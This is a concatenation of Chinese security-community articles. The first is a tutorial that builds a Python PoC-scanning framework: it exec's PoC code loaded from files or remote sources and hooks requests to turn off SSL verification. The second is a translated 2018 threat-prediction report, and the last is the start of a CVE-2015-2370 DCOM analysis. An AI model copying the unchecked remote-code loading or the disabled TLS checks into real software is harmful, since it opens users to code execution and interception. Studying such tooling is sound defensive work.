想要实现验证速度与验证准确率极高，我们要做好多线程或协程的并发模型，这里我们会在后面在详细叙述。
最后，"我也不知道什么好，总之你跑起来能出东西就行！"，如果上面的事情我们都做好了，这个应该就是水到渠成的了~
## AirPoc的框架
在完成这个"宏伟计划"之前，我们也需要设计一下整体的代码框架。作为一名代码洁癖患者，一个良好的代码结构，是万里长征的第一步。我们建立如下的目录结构，env是虚拟环境，建立两个目录`lib`、`pocs`，`lib`用于存储之后的相关核心文件，`pocs`用于存储poc文件，和一个文件`main.py`用作初始入口。
就像盖大楼需要打好地基，接下来完成基础框架，我们可以先不用写具体的功能，但是了解作为"地基"的函数的意义。如下，在`main.py`文件中如下代码，一个初始的框架就完成了。
import os
import time
def banner():
msg = '''
___ _ _____ _____ _____ _____
/ | | | | _ \ | _ \ / _ \ / ___|
/ /| | | | | |_| | | |_| | | | | | | |
/ / | | | | | _ / | ___/ | | | | | |
/ / | | | | | | \ \ | | | |_| | | |___
/_/ |_| |_| |_| \_\ |_| \_____/ \_____| {}
'''.format(version)
print(msg)
def init(config: dict):
print("[*] target:{}".format(config["url"]))
def end():
print("[*] shutting down at {0}".format(time.strftime("%X")))
def start():
pass
def main():
banner()
config = {
"url": "https://www.seebug.org/"
}
init(config)
start()
end()
if __name__ == '__main__':
version = "v0.00000001"
main()
但是，正如你所见，版本号和我的比特币钱包的数字竟然差不多，我们还要给它加些料。
### 单例模式
在我们软件的初始化的工程中，我们需要得到很多环境相关的信息。比如当前执行的路径是哪？poc目录在哪？我们输出结果文件输出到哪个路径等等。
它们有一个共同的特定是，它们只需要加载一次，在后面使用中直接拿来用就行了。这种模式在软件设计模式中有一个单独的名词，"单例模式"。
幸运的是python的模块就是天然的单例模式，因为模块在第一次导入时，会生成 `.pyc` 文件，当第二次导入时，就会直接加载 `.pyc`
文件，而不会再次执行模块代码。因此，我们只需把相关的函数和数据定义在一个模块中，就可以获得一个单例对象了。
我们在`lib`目录里面新建一个`data.py`用于存储这些信息。同时将版本信息也放到这里来。
import os
PATHS_ROOT = os.path.join(os.path.dirname(os.path.realpath(__file__)), "../")
PATHS_POCS = os.path.join(PATHS_ROOT, "pocs")
PATHS_OUTPUT = os.path.join(PATHS_ROOT, "output")
VERSION = "v0.0000001"
为了更好的来表示这些常量，我们用PEP8标准里的规范，统一约定用大写和下划线来表示常量。为了说明与之前的区别，我们象征性的将VERSION减一个0，来表达我们的比特币又增长了10倍。
### 动态加载
在解决完我们相关的环境问题后，我们在看看如何动态加载模块。在具体细节里我们说过，我们期望PoC能够从本地或者远程网站(如GitHub)上加载。
这里又得分成两种情况，如果是通过文件路径加载动态加载的模块，可以直接用`__import__()`来加载，但是如果要远程加载，可能就又会复杂一点，根据python的相关文档，我们要自己实现"查找器"与"加载器"
<https://docs.python.org/zh-cn/3/reference/import.html>。
当然，你也可以从远程保存到本地后，按照本地加载模式进行加载。但是Pocsuite已经有完整的加载器代码了，我们可以直接拿来用。
新建`lib/loader.py`文件
import hashlib
import importlib
from importlib.abc import Loader
def get_md5(value):
if isinstance(value, str):
value = value.encode(encoding='UTF-8')
return hashlib.md5(value).hexdigest()
def load_string_to_module(code_string, fullname=None):
try:
module_name = 'pocs_{0}'.format(get_md5(code_string)) if fullname is None else fullname
file_path = 'airpoc://{0}'.format(module_name)
poc_loader = PocLoader(module_name, file_path)
poc_loader.set_data(code_string)
spec = importlib.util.spec_from_file_location(module_name, file_path, loader=poc_loader)
mod = importlib.util.module_from_spec(spec)
spec.loader.exec_module(mod)
return mod
except ImportError:
error_msg = "load module '{0}' failed!".format(fullname)
print(error_msg)
raise
class PocLoader(Loader):
def __init__(self, fullname, path):
self.fullname = fullname
self.path = path
self.data = None
def set_data(self, data):
self.data = data
def get_filename(self, fullname):
return self.path
def get_data(self, filename):
if filename.startswith('airpoc://') and self.data:
data = self.data
else:
with open(filename, encoding='utf-8') as f:
data = f.read()
return data
def exec_module(self, module):
filename = self.get_filename(self.fullname)
poc_code = self.get_data(filename)
obj = compile(poc_code, filename, 'exec', dont_inherit=True, optimize=-1)
exec(obj, module.__dict__)
具体如何实现的我们可以不用关心，我们只需要知道，其中我们可以用`load_string_to_module`来从源码中加载模块了。如果你有兴趣了解具体的实现，可以参考上面的python官方文档。
## 规则的制定
从文件或者远程加载好模块后，就可以准备运行的相关事宜了。我们需要对PoC做一个规则的统一约定，让程序更好的调用它们。
你可以将规则定义的详细，也可以一切从简，主要是看使用场景。而前面也提到，为了保护"安全联盟"的安全问题，所以我们需要PoC更够比较简单的快速编写。
同时我们还需要考虑如果PoC需要多个参数如何处理？笔者的规则是这样定义的。
def verify(arg, **kwargs):
result = {}
if requests.get(arg).status_code == 200:
result = {
"name":"漏洞名称",
"url":arg
}
return result
在PoC文件中定义一个`verify`函数用作验证使用，arg作为普通的参数传递，当需要传递较多的参数时，从kwargs中接收。在PoC验证成功后，也只需要返回一个字典即可，如果验证失败，返回`False`或`None`即可。字典内容由PoC编写者制定，给予编写者最大的灵活空间。
但是注意！PoC的质量就需要依靠编写者的维护。
## V0.01
我们最终要实现的目标是，设置好目标，程序自动加载指定的一个或多个PoC或全部的PoC，逐个检测目标。剩下的部分就是怎样将这些功能串联在一起了。
前面我们已经实现了AirPoc的基础框架，现在只需要在其基础上具体实现功能即可。
为了测试的方便，我们先在`pocs`目录下按照之前定义的规则建立两个简陋的PoC。
现在，`main.py`中的代码如下
#!/usr/bin/env python3
# -*- coding: utf-8 -*- # @Time : 2019/4/25 3:13 PM
# @Author : w7ay
# @File : main.py
import os
import time
from lib.data import VERSION, PATHS_POCS, POCS
from lib.loader import load_string_to_module
def banner():
msg = '''
___ _ _____ _____ _____ _____
/ | | | | _ \ | _ \ / _ \ / ___|
/ /| | | | | |_| | | |_| | | | | | | |
/ / | | | | | _ / | ___/ | | | | | |
/ / | | | | | | \ \ | | | |_| | | |___
/_/ |_| |_| |_| \_\ |_| \_____/ \_____| {}
'''.format(VERSION)
print(msg)
def init(config: dict):
print("[*] target:{}".format(config["url"]))
# 加载poc，首先遍历出路径
_pocs = []
for root, dirs, files in os.walk(PATHS_POCS):
files = filter(lambda x: not x.startswith("__") and x.endswith(".py") and x not in config.get("poc", []),
files) # 过滤掉__init__.py文件以及指定poc文件
_pocs.extend(map(lambda x: os.path.join(root, x), files))
# 根据路径加载PoC
for poc in _pocs:
with open(poc, 'r') as f:
model = load_string_to_module(f.read())
POCS.append(model)
def end():
print("[*] shutting down at {0}".format(time.strftime("%X")))
def start(config: dict):
url_list = config.get("url", [])
# 循环url_list与pocs，逐一对应执行。
for i in url_list:
for poc in POCS:
try:
ret = poc.verify(i)
except Exception as e:
ret = None
print(e)
if ret:
print(ret)
def main():
banner()
config = {
"url": ["https://www.seebug.org/", "https://paper.seebug.org/"],
"poc": []
}
init(config)
start(config)
end()
if __name__ == '__main__':
main()
我们的版本也来到了0.01，它已经是一个"成熟的”能自己跑PoC的框架了。
## 多线程模型
为了让我们的框架运行得更快一点，我们使用多线程来处理每个PoC，因为我们处理的任务大多是I/O密集型任务，所以我们也不用太纠结python是不是伪线程这个问题。
多线程模型中最简单的一种是生产者/消费者的模型，启动多个线程来共同消费一个队列就行了。新建`lib/threads.py`
import threading
import time
def exception_handled_function(thread_function, args=()):
try:
thread_function(*args)
except KeyboardInterrupt:
raise
except Exception as ex:
print("thread {0}: {1}".format(threading.currentThread().getName(), str(ex)))
def run_threads(num_threads, thread_function, args: tuple = ()):
threads = []
# 启动多个线程
for num_threads in range(num_threads):
thread = threading.Thread(target=exception_handled_function, name=str(num_threads),
args=(thread_function, args))
thread.setDaemon(True)
try:
thread.start()
except Exception as ex:
err_msg = "error occurred while starting new thread ('{0}')".format(str(ex))
print(err_msg)
break
threads.append(thread)
# 等待所有线程完毕
alive = True
while alive:
alive = False
for thread in threads:
if thread.isAlive():
alive = True
time.sleep(0.1)
值得注意的一点是，我们并没有使用Python线程中推荐的`join()`来阻塞线程，因为使用`join()`的话，python将无法响应用户输入的消息了，会导致Ctrl+C退出时没有任何响应，所以以while循环的方式来阻塞线程。
接着将主程序改造成多线程的模式，将原`start()`中的"消费者"提取出来，单独用作一个函数，用队列接收数据即可。如下
def worker():
if not WORKER.empty():
arg, poc = WORKER.get()
try:
ret = poc.verify(arg)
except Exception as e:
ret = None
print(e)
if ret:
print(ret)
def start(config: dict):
url_list = config.get("url", [])
# 生产
for arg in url_list:
for poc in POCS:
WORKER.put((arg, poc))
# 消费
run_threads(10, worker)
另外，线程数量是我们可配置的，我们将它改成从配置中读取。
run_threads(config.get("thread_num", 10), worker)
再次运行，会发现比以前快很多！
## 统一网络请求
这是我们整个框架的最后一个部分，如何来统一网络请求。有时我们需要让我们的PoC框架发出的网络请求中统一一下代理，UA头等等的设置，这需要我们框架进行统一的处理。在实现我们的目的之前，我们还需要在框架里做一个约定，约定我们的网络请求都需要统一使用`requests`来进行发包。开始时我们说到，我们会尽量不使用第三方模块，但是`requests`模块实在太好用了，我们将它排除在外...
Python语言动态的机制，我们可以很容易在使用一个函数之前Hook它，将它原始的方法重定向到我们自定义的方法中，这是我们能够统一网络请求的一个前提。
def hello(arg):
return "hello " + arg
def hook(arg):
arg = arg.upper()
return "hello " + arg
hello = hook
print(hello("aa"))
通过hook一个函数来达到我们自己的目的。
像sqlmap这类工具，基于python内置的`urllib`模块，但是有大量的代码都在处理在了网络请求方面，甚至为了处理`chunked`发包的问题，hook重写了更底层的`httplib`库。
pocsuite为了统一调度网络请求，hook了`requests`模块的相关方法。我们可以具体参考其中的代码。
`pocsuite3/lib/request/patch/__init__.py`代码很清晰的说明了hook的函数
from .remove_ssl_verify import remove_ssl_verify
from .remove_warnings import disable_warnings
from .hook_request import patch_session
from .add_httpraw import patch_addraw
from .hook_request_redirect import patch_redirect
def patch_all():
disable_warnings() # 禁用了warning提示
remove_ssl_verify() # 禁用ssl验证
patch_session() # hook seesion函数
patch_addraw() # 添加raw原生发包支持
patch_redirect() # hook 重定向函数
如果你看过requests的源码，会知道这里面的重点是看它如何hook seesion函数的。
`pocsuite3/lib/request/patch/hook_request.py`
from pocsuite3.lib.core.data import conf
from requests.models import Request
from requests.sessions import Session
from requests.sessions import merge_setting, merge_cookies
from requests.cookies import RequestsCookieJar
from requests.utils import get_encodings_from_content
def session_request(self, method, url,
params=None, data=None, headers=None, cookies=None, files=None, auth=None,
timeout=conf.timeout if 'timeout' in conf else None,
allow_redirects=True, proxies=None, hooks=None, stream=None, verify=False, cert=None, json=None):
# Create the Request
merged_cookies = merge_cookies(merge_cookies(RequestsCookieJar(), self.cookies),
cookies or (conf.cookie if 'cookie' in conf else None))
req = Request(
method=method.upper(),
url=url,
headers=merge_setting(headers, conf.http_headers if 'http_headers' in conf else {}),
files=files,
data=data or {},
json=json,
params=params or {},
auth=auth,
cookies=merged_cookies,
hooks=hooks,
)
prep = self.prepare_request(req)
proxies = proxies or (conf.proxies if 'proxies' in conf else {})
settings = self.merge_environment_settings(
prep.url, proxies, stream, verify, cert
)
# Send the request.
send_kwargs = {
'timeout': timeout,
'allow_redirects': allow_redirects,
}
send_kwargs.update(settings)
resp = self.send(prep, **send_kwargs)
if resp.encoding == 'ISO-8859-1':
encodings = get_encodings_from_content(resp.text)
if encodings:
encoding = encodings[0]
else:
encoding = resp.apparent_encoding
resp.encoding = encoding
return resp
def patch_session():
Session.request = session_request
它重写了`session_request`函数的方法，让其中可以自定义我们自定义的文件头等信息。上述代码可能需要你看过requests才会对他有所理解，不过没关系，我们还是以拿来主义的精神直接用即可。
为了达到此目的以及更好的优化框架结构，我们还需要做一些小调整。
新建`lib/requests.py`
from lib.data import CONF
from requests.models import Request
from requests.sessions import Session
from requests.sessions import merge_setting, merge_cookies
from requests.cookies import RequestsCookieJar
from requests.utils import get_encodings_from_content
def session_request(self, method, url,
params=None, data=None, headers=None, cookies=None, files=None, auth=None,
timeout=None,
allow_redirects=True, proxies=None, hooks=None, stream=None, verify=False, cert=None, json=None):
# Create the Request.
conf = CONF.get("requests", {})
if timeout is None and "timeout" in conf:
timeout = conf["timeout"]
merged_cookies = merge_cookies(merge_cookies(RequestsCookieJar(), self.cookies),
cookies or (conf.cookie if 'cookie' in conf else None))
req = Request(
method=method.upper(),
url=url,
headers=merge_setting(headers, conf["headers"] if 'headers' in conf else {}),
files=files,
data=data or {},
json=json,
params=params or {},
auth=auth,
cookies=merged_cookies,
hooks=hooks,
)
prep = self.prepare_request(req)
proxies = proxies or (conf["proxies"] if 'proxies' in conf else {})
settings = self.merge_environment_settings(
prep.url, proxies, stream, verify, cert
)
# Send the request.
send_kwargs = {
'timeout': timeout,
'allow_redirects': allow_redirects,
}
send_kwargs.update(settings)
resp = self.send(prep, **send_kwargs)
if resp.encoding == 'ISO-8859-1':
encodings = get_encodings_from_content(resp.text)
if encodings:
encoding = encodings[0]
else:
encoding = resp.apparent_encoding
resp.encoding = encoding
return resp
def patch_session():
Session.request = session_request
同时在config中预留requests的接口
以及init的时候执行我们的hook。
我们新编写一个PoC，用这个网站测试一下 最后的效果 <http://www.httpbin.org/get>
`pocs/poc.py`
import requests
def verify(arg, **kwargs):
r = requests.get(arg)
if r.status_code == 200:
return {"url": arg, "text": r.text}
效果很好，但是如果加上https的网站，就有一个警告信息。
同样参考Pocsuite的方法禁用掉warning信息
from urllib3 import disable_warnings
disable_warnings()
最后有仪式感的将版本号变更为`0.1`，AirPoc的框架部分大体完成了。
## 最后
AirPoc的很多结构思想都来源于Pocsuite，如果直接阅读Pocsuite，也许能收获很多东西。目前AirPoc
v0.1基础框架已经差不多完成了，已经可以从本地加载一个或多个PoC，进行批量测试。后面我们再尝试些更好玩的，如何验证无回显的情况，如何生成shellcode，以及如何操作回连的shell，敬请期待下节《功能篇》~。
AirPoc下载：<https://images.seebug.org/archive/airpoc.zip>
* * * | 社区文章 |
# 趋势科技2018年网络安全威胁预测
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
#####
## 2018年，勒索软件商业模式仍将作为网络犯罪的一大核心支柱，其他形式的数字化扩张则将带来更多收益实现途径
在2017年，我们预计网络犯罪分子会立足勒索软件，扩展出其他更为多元的攻击手段。实际情况也确实如此，这一年中WannaCry与Petya领衔快速传播型网络攻击，Locky与FakeGlobe广播散布垃圾邮件，而“坏兔子（Bad
Rabbig）”则针对东欧国家实施漏洞攻击。
我们认为勒索软件不可能很快消失。2018年其他类型的数字化勒索行为将变得更为普遍。网络犯罪分子一直利用勒索软件作为逼迫受害者支付赎金的有力武器。随着勒索软件即服务（简称RaaS）在地下论坛上的快速兴起，外加比特币作为赎金回收的安全手段，网络犯罪分子正被越来越多汇聚在这种商业模式当中。
图：勒索软件的日益成熟已经成为数字化勒索活动的催化剂
着眼于多年以来网络犯罪活动的演变，我们看到网络犯罪分子现在开始直接将金钱作为目标，而不再欺骗用户放弃其重要凭证。早期的在线威胁主要集中在信息窃取与恶意软件上，包括劫持银行交易流程以窃取个人信息。在此之后，新的威胁载体将自身伪装为反恶意软件解决方案（简称FAKEAV），用户被诱导下载此类软件并支付赎金以重新获得受害计算机的访问权限。而勒索软件也同样遵循FAKEAV的起效方式。
目前勒索软件获得的成功——特别是勒索收益，将促使更多网络犯罪分子从目标人群人攫取理想的经济回报。攻击者将继续依靠网络钓鱼活动通过电子邮件实现勒索软件载荷交付，以确保拥有理想的受影响用户比例。他们还将针对单一组织机构（特别是工业物联网环境）进行勒索软件攻击，借此破坏运营并影响生产线的正常功能。我们已经看到WannaCry与Petya大规模爆发所带来的严重后果，未来犯罪分子将把这种后果视为其预期之内的攻击效能。
在GDPR得到切实执行之后，勒索活动仍将继续发挥作用。网络犯罪分子可以锁定该法规所涵盖的个人数据，并要求相关企业支付赎金——否则，企业将面临高达全球年营业额4%的巨额罚款。网络犯罪分子可通过公开获取的财务信息，计算企业可能面临的最大GDPR罚款额度以确定具体赎金数量。这将进一步推动相关攻击活动的升级以及赎金额度的提升。此外，我们预计GDPR还将被作为一种社交工程手段，正如过去FAKEAV以及勒索软件行为当中所采取的侵权警告一样。
用户与企业还可以通过采用有效的网络与电子邮件网关解决方案作为自己的第一道防线，从而保持对此类数字化勒索企业的抵御能力。这些具备高仿真机器学习、行为监控与漏洞防御能力的解决方案将可有效防止威胁因素进入目标环境。考虑到勒索软件变种正朝着无文件方向发展——即其中不包含任何可被传统解决方案所发现的恶意载荷或二进制文件，这类功能在应对接下来的勒索威胁时将扮演尤为重要的角色。
## 网络犯罪分子将探索新的方式利用物联网设备为自身提供收益
数量庞大的数字摄像机（简称DVR）、IP摄像机以及路由器等物联网设备在Mirai与Persirai的劫持之下成为分布式拒绝服务攻击（简称DDoS）的“帮凶”，这一现状也引发业界对于此类联网设备安全缺陷与破坏性能力的关注。近来，以Mirai代码为基础的物联网僵尸网络Reaper已经被视为一种新的安全违规手段，甚至能够影响到不同设备制造商的多种产品。
我们预计除了用于实施DDoS攻击之外，网络犯罪分子还将利用物联网建立代理，用以混淆其真实位置与网络流量——这是因为执法活动通常需要依靠IP地址及日志进行刑事调查以及事故后取证。如果网络犯罪分子能够利用匿名设备建立的大型网络（在默认情况下运行有默认凭证，且几乎不具备任何日志记录功能），他们则可以此为起点实施网络破坏活动，并保证自身行迹不被发现。
我们预计市场上还将出现更多物联网安全漏洞，这是因为相当一部分制造商会持续发售安全保护能力不足的产品。这类风险解决起来不可能像为PC设备打补丁那么简单。这类无法得到确切修复或更新的非安全设备很可能成为中央网络的入口。KRACK攻击证明，即使是无线连接本身也会增加安全风险。这项漏洞会影响到大部分、甚至全部采用WPA2协议的设备，而这亦引发了人们对于5G技术安全性的担忧。
物联网设备将成为破坏性与网络犯罪活动的目标
目前美国领空中充斥着数十万架无人机，而对这些飞行器进行监督则是一项难度极高的挑战。我们预计与无人机相关的安全或者碰撞事故将快速增加，而黑客也已经能够访问其控制计算机以获取敏感信息并劫持其流量交付机制。同样的，无处不在的家庭设备（例如无线扬声器与语音助理产品）也使得黑客们能够确定房屋位置并尝试加以入侵。
我们预计到2018年，通过可穿戴式设备以及医疗设备实现的生物入侵将成为现实。生物识别活动追踪系统（例如心率监测器与健身手环）的流量将被截获，意味着攻击者能够收集与用户相关的个人信息。事实上，即使是用于维持生命的心脏起搏器也被发现存在着可能致命的安全缺陷。
因此用户与监管方应当意识到，并非所有物联网设备皆具备内置的安全保障机制，更不用说理想的安全保护能力。除非制造商定期进行风险评估与安全审计，否则其产品必然可被攻击方所入侵。用户还需要负责对设备进行安全设置，包括更改默认密码以及定期安装固件更新。
## 全球商业邮件仿冒造成的损失在2018年将超过90亿美元
根据联邦调查局统计，自2015年1月至2016年12月期间，已经有100多个国家报告了BEC（商业邮件仿冒）诈骗案件，且涉案损失增幅高达2370%。相较于传统的入室盗窃，BEC诈骗的操作速度更快、侦察需求更低，且根据目标的实际情况有可能带来极高的收益——目前记录在案的相关损失已经高达50亿美元。
我们预计BEC类案件在2018年会进一步增加，并导致全球损失超过90亿美元。这主要是因为人们对于BEC的认知水平日益提高，所采取的策略也能够更好地发现并加强对此类诈骗行为的报道。根据BEC所采取的钓鱼诈骗方式来看，其实效性已经毋庸置疑。我们未来将继续观察到以冒充企业高管为手段的BEC电汇诈骗案。我们也一直在观察针对企业CEO的BEC攻击活动。同样值得注意的是，犯罪分子已经不再依赖于键盘记录器，而是转向使用以钓鱼PDF及网站等实施成本更为低廉的手段。通过网络钓鱼，他们能够在继续入侵帐户的同时获得较低的攻击成本。
由于了解目标组织的层级结构及电子邮件（这类信息甚至有可能在社交媒体及企业网站上公开发布）非常简单，因此这类攻击能够帮助犯罪分子高效敛财。除此之外，企业还面临着另一种经济驱动型威胁，即犯罪分子所实施的商业流程仿冒（简称BPC）。通过BPC，网络犯罪分子将能够了解到目标组织的内部运作情况，特别是其财务部门，并通过篡改内部流程（可能借用企业供应链漏洞）实现自身目的。然而，由于需要长期规划并投入更多精力，因此BPC不太可能会在2018年成为主要的攻击手段。
如果员工获得充分培训，则BEC所依赖的社交工程手段可能将无法得逞。企业应立足内部流程执行严格协议，特别是对各类交易活动作出约束。中小型企业及大型企业都应当采取多种核查方式实现管控，并通过电话等其它辅助沟通方式进行操作复核。Web与网关解决方案也能够准确检测社交工程活动与伪造行为，进而阻止BEC威胁。
_* 90_ _亿美元的结论源自_ _2016_ _年_ _6_ _月至_ _12_ _月间的月度平均报告损失额度再乘以_ _12_ _。这里我们假设_
_BEC_ _事件与受害者数量将继续保持同样的平均增长率。_
****
## 网络虚假宣传活动呈现新形态：以往垃圾邮件再度借尸还魂
造就虚假新闻的铁三角包括：宣传动机、作为信息平台的社交网络，以及用于传递信息的工具与服务。2018年，预计网络宣传将通过以往我们所熟知的技术进行传播：即曾经的网络垃圾邮件传播技术。
举例来说，DIY型软件工具包能够自动在社交媒体上发布垃圾邮件。恶意方甚至能够利用搜索引擎优化（简称SEO）影响社交媒体优化（简称SMO），从而为不同平台上成千上万的用户群体提供对应流量与数据。目前，已经有钓鱼邮件被发送至外交部，甚至公然利用文件诋毁政府——可疑内容正自由传播，引发强烈意见，由此推动的抗议活动也此起彼伏。
此外，这些捏造的信息可能会影响到企业的形象，甚至破坏其业务表现与声誉。研究人员们正在研究各类音频与视频处理工具，此类工具往往会进一步模糊真相与假象之间的界限。考虑到人们能够在地下市场中轻松获得此类工具与服务，相信未来会有更多恶意活动者利用这类污点战术故障改变公众的观点——特别是在政治活动当中。
即将到来的瑞典大选很可能成为因虚假消息而影响投票结果的下一个目标。就在去年的美国总统大选之后，全世界都已经意识到其中存在的巨大利益——社交媒体完全可被用于传播特定信息，甚至依托Twitter水军左右最终当选的总统人选。
每一次虚假新闻的发布与转载，都会加深读者们对内容的印象，并误导其将信息视为真相。鉴于宣传人员所使用的传统技术已经相当有效且可靠，对虚假新闻的鉴别工作将变得愈发困难。
虚假新闻与网络虚假宣传还将持续存在，而可靠的内容检测或恶意操纵识别手段仍然处于缺失状态。社交媒体网站，特别是谷歌与Facebook，已经承诺对利用馈送及转载方式传播的虚假内容加以打击，然而就目前来看成效尚不明显。基于这样的背景，最终的筛选在很大程度上仍然依赖于用户自身。然而，只要用户还没有接受对虚假新闻进行举报的引导，这些内容就会继续不断在网络上渗透，并被更多不知情、不了解背景的读者们所使用。
## 恶意攻击者将利用机器学习与区块链技术扩展逃避检测的技术
了解未知正是机器学习技术作出的关键性承诺之一，其本质在于计算机接受训练但其处理与分析过程并非基于刻意编程而来。作为一种相对较新的技术手段，机器学习显示出巨大的潜力。但可以肯定的是，机器学习可能并不代表着最终或者说全面的数据分析与结论识别途径。机器学习只能帮助计算机从已载入数据中学习知识，换言之，机器学习的一切判断能力皆源自情境信息源。
着眼未来，机器学习将成为安全解决方案当中的一大关键性组成部分。尽管其确实具备提示更多更准确且更具针对性的决策结论的潜力，但另一个更重要的问题也随之而来：机器学习是否也会受到恶意软件的欺骗？
我们发现CERBER勒索软件中使用的一款加载程序能够骗过某些机器学习解决方案的检测，这意味着恶意软件能够利用特定打包方式让自己看起来属于合法软件。这一点对于采用预执行机器学习技术的软件（其文件分析机制不涉及实际执行或者模拟）尤其危险——以UIWIX勒索软件为例（WannaCry的模仿品），其无文件特性使得预执行机器学习方案无法进行正确检测与屏蔽。
机器学习确实是一种强大的工具，但其绝对称不上万无一失。尽管研究人员已经在探索利用机器学习手段监控流量并识别潜在零日漏洞的可能性，但在另一方面，网络犯罪分子很可能也会利用同样的能力来提前发现零日漏洞。此外，攻击者亦有可能骗过机器学习引擎，例如引导自动驾驶车辆错误识别经过轻微篡改的指示路标。研究人员们已经发现，机器学习模型当中确实存在可被恶意人士所利用的盲点。
虽然机器学习确实有助于提高保护能力，但我们认为其不应成为安全机制的全面接管方案。相反，机器学习应被视为纵深防御体系当中的附加安全层，而非所有安全问题的惟一解决方案。从网关到端点的端到端多层防御体系才是抵御各类已知与未知安全威胁的最佳选项。
另一个将重塑企业面貌、并已经在一定程度上遭到滥用的新兴技术则是区块链。区块链技术在数字加密货币的直接推动下受到广泛关注，并成为一种尚未被攻破的安全防御手段。分布式分类帐的采用预计将在未来五到十年内得到普及。然而，目前已经存在诸多以区块链技术为基础的新兴项目，从技术到金融再到初创企业乃至巨头级厂商甚至政府机构，各行各业都在尝试借此革新自身业务模式。
区块链通过在各参与者之间达成必要共识的方式运作，这极大提高了对区块链者未授权更改或故意篡改的难度。传输活动越多，其序列就越是复杂且模糊。同样的，这种混淆亦可能被网络犯罪分子作为攻击强化载体而加以利用。在Ethereum
DAO攻击中，他们已经开始将矛头指向区块链本身，而此次事故直接造成价值超过5000万美元的数字货币被丢失。
与大多数被广泛视为安全且前景光明的技术成果一样，机器学习与区块链值得我们加以密切关注。
## 只有在出现首例高影响度诉讼案件之后，大多数企业才会针对通用数据保护条例采取明确行动
欧盟最终决定在2018年5月正式推行GDPR（即通用数据保护条例），预计这一举措将对参与欧盟公民数据管理的各相关方产生广泛影响——即使部分企业身处欧洲之外。在我们的研究当中，我们发现大多数高层管理人员（占受访企业的57%）对GDPR责任遵守工作采取消极回避的态度，有些人还不清楚什么是个人身份信息（简称PII），甚至对潜在的罚款条款漠不关心。
只有当监管机构执行惩罚举措时，这些落后者才会真正以严肃的态度对待GDPR的冲击。数据隐私监督员可以通过完全禁止企业处理某些数据来干扰其业务运营。此外，亦可能出现来自官方及公民自身的诉讼申请。
举例来说，在GDPR实际生效之后，美国信用报告机构Equifax公司将因此面临惊人的罚款，这是因为一部分英国消费者也受到安全违规事件的影响。国际出行分享公司优步也将由于延后一年才公布数据泄露事件而遭受数额巨大的处罚。根据违规要求，监管机构将要求相关企业承担高达2000万欧元或者等同于上一财年全球营业额4%的罚款——以数额较高者为准。
因此，GDPR执法范围涵盖下的企业将意识到设立负责数据处理与监控的专职数据保护官（简称DPO）职位的重要性。负责处理敏感数据的企业与行业对于DPO的需求尤为迫切。这类企业需要审查自身数据安全战略，包括根据数据性质进行分类，并将来自欧盟的数据与来自世界其它地区的数据进行区分。
其他地区也需要在数据管理法规层面迎头赶上，包括制定约束范围极广的类似框架并出台严格的违规惩罚政策。美国食品与药物管理局（简称FDA）已经要求多个欧洲药物管理机构改进其检查制度。澳大利亚方面正着手根据《2017年隐私修正案（通报数据泄露）法案》制定自己的数据泄露通报法令;
而英国的《数据保护法案》则在英国脱欧后继续根据欧盟法律进行更新。与此同时，《欧盟-美国隐私之盾》条例也需要进一步证明自身约束能力，从而打消欧盟方面的担忧。
## 企业应用与平台将面临操纵与漏洞风险
在当今环境当中，工业4.0的出现使得网络物理系统与生产流程间的关联日益密切;
再加上软件定义浪潮的影响，对应风险也将随之而来。真实生产或流程的虚拟版本或仿真版本的出现确实能够帮助企业解决实际有形资产中可能出现的成效问题，但在我们看来，尽管其对于企业运营拥有积极意义，但恶意行为者亦可能借此渗透至生产网络当中，进而操纵系统并导致运营中断甚至破坏。通过操纵这种双生关联体系，这些攻击者甚至能够继续令生产流程看起来合法可信。
再有，通过制造执行管理系统（简称MES）指向SAP或者其他企业资源规划（简称ERP）系统的直接（或间接）生产数据处理机制也可能面临严重风险。一旦被操纵的数据或错误指令被发送至ERP系统当中，设备将会执行错误决策进而破坏生产流程——例如以错误数量进行材料供应、引发意外资金转移，甚至导致系统过载。
当然，企业系统绝不会是惟一的攻击威胁目标;
在2018年，我们预计Adobe与微软平台的安全漏洞还将继续被广泛利用。不过尤其值得强调的是，我们需要重新关注基于浏览器与服务器端的安全漏洞。
多年以来，Adobe Flash
Player、甲骨文Java以及微软Silverlight等广为人知的浏览器插件当中包含大量安全漏洞，而这一切都将继续成为攻击目标。不过我们预测到2018年，JavaScript引擎中的漏洞将令各类现代浏览器自身陷入安全困境。从谷歌Chrome
v8崩溃问题到微软Edge Chakra开源化，基于JavaScript的浏览器中的安全漏洞将因该脚本语言的广泛使用而引发更多安全隐患。
攻击者还将重新关注利用服务器端漏洞传递恶意载荷的可能性。我们预计到2018年，利用服务器消息块（简称SMB）以及Samba漏洞传播勒索软件的行为将更加普遍。更具体地讲，SMB漏洞可以在无需与用户直接交互的情况下遭到利用。实际上，今年早些时候在全球掀起轩然大波的“永恒之蓝”漏洞中就涉及SMB安全缺陷（即WannaCry与Petya勒索软件），而“坏兔子（Bad
Rabbit）”攻击所利用的“永恒浪漫（EternalRomance）”同样与之相关。同样的，运行在Linux之上的开源Samba亦有能力利用SMB协议中的安全漏洞。
通过SAP与ERP实现的生产流程攻击活动意味着，企业必须将与应用程序相关的安全工作视为优先事项。对应用程序的访问活动需要进行管理与监控，从而避免一切未经授权的访问操作。
这里建议用户与企业定期检查软件更新，并在有新补丁可用时及时加以安装。然而，考虑到管理员可能因种种情况而无法立即部署更新，我们建议您将漏洞屏蔽机制整合至系统当中，以便保护平台免受未修复漏洞及零日漏洞的影响。此外，网络解决方案还应脖虚拟补丁与主动网络流量监控机制保护联网设备免受潜在入侵行为的干扰。 | 社区文章 |
# CVE-2015-2370之DCOM DCE/RPC协议原理详细分析
##### 译文声明
本文是翻译文章，文章原作者 oShuangYue12，文章来源：blog.csdn.net
原文地址：<https://blog.csdn.net/oShuangYue12/article/details/84677607>
译文仅供参考，具体内容表达以及含义原文为准。
## 漏洞成因分析
这个CVE-2015-2370漏洞是一种DCOM DCE/RPC协议中ntlm认证后数据包重放导致的权限提升漏洞
分析的重点DCOM DCE/RPC协议原理,这个协议主要由2块内容组成,dcom的远程激活机制和ntlm身份认证
### 1.dcom的远程激活机制
[微软官方解释](https://msdn.microsoft.com/en-us/library/cc226801.aspx "微软官方解释")
